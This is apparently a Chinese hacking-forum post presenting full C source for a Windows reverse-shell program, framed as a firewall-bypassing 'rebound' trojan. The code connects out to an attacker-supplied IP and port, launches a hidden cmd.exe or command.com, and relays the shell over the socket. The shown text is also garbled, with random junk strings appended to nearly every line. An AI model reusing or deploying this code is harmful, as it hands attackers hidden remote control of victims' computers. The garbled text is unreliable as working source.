这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r$wxk 4%Rz
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/* ============================== Ldn8
Rebound port in Windows NT CXCpqcC
By wind,2006/7 Dnc<sd;
===============================*/ xGI, Lk+
#include ?@n/v
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#include 6_4D9 W
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#pragma comment(lib,"wsock32.lib") A7c/N=Cp^
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void OutputShell(); ./$cMaDJ
SOCKET sClient; fJWC)E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F9*g=
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void main(int argc,char **argv) 5cWw7V<m
{ =v*.p=r
WSADATA stWsaData; PH{_,X
int nRet; [ib P%xb
SOCKADDR_IN stSaiClient,stSaiServer; %N#%|2B
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if(argc != 3) />j';6vi
{ eW>3XD4
printf("Useage:\n\rRebound DestIP DestPort\n"); XerbUkZ
return; 95<EN(oUD
} %2V-~.Ro6
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nQGQWg`
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stSaiClient.sin_family = AF_INET; ,y%3mR_~
stSaiClient.sin_port = htons(0); _Ob@`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `|Or{ih
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y-0?a?q2Fr
{ {6oE0;2o'
printf("Bind Socket Failed!\n"); FaBqj1O1
return; \RVW
} jVH|uX"M5Y
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stSaiServer.sin_family = AF_INET; D13Rx 6b
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rcGb[=B f
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2[gFkyqe
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ujJI
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{ `
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printf("Connect Error!"); yAN=2fZm
return;
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} Z;h<6[(
OutputShell(); A*|cdY]HP
} [le)P$#z
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void OutputShell() i>[_r,-\[
{ u=YX9Mo!
char szBuff[1024]; vF?5].T
SECURITY_ATTRIBUTES stSecurityAttributes; [ 4;Ii
OSVERSIONINFO stOsversionInfo; qp}Ma8+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '<0J@^vZ
STARTUPINFO stStartupInfo; I=;+n-
char *szShell; a
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PROCESS_INFORMATION stProcessInformation; }^(}HBT
unsigned long lBytesRead; ,j 5&6X=1M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S1U@UC
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); we#wH-
stSecurityAttributes.lpSecurityDescriptor = 0; -n0C4 kZ2o
stSecurityAttributes.bInheritHandle = TRUE; f7I{WfZ\P
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,E|m.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $3,ryXp7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H'qG/@u-l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =YG _z^'
stStartupInfo.wShowWindow = SW_HIDE; ` gW<M
stStartupInfo.hStdInput = hReadPipe; mm5$>
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Uje|`<X
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GetVersionEx(&stOsversionInfo); B>Wu;a.:L
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switch(stOsversionInfo.dwPlatformId) `nO71mo
{ z_
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case 1: zS< jd~
szShell = "command.com"; 2Dd|~{%
break; <[GYLN[0Q
default: L>Mpi$L
szShell = "cmd.exe"; C%~a`e|/Y
break; wZh:F
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} Bb{!Yh].:A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GjB]KA^
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send(sClient,szMsg,77,0); it2 a
while(1) rfw-^`&{
{ tb?YLxMV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tDDy]==E
if(lBytesRead) G4
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{ -{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N S#TW
send(sClient,szBuff,lBytesRead,0); !Oi~:Pp
} +PK6-c\r
else ,p;_\\<
{ VYw%01#
lBytesRead=recv(sClient,szBuff,1024,0); IcIOC8WC
if(lBytesRead<=0) break; 2 3KyCV5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A?Wk
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} \ (p{t
} ,_ag;pt9)
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return; p
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}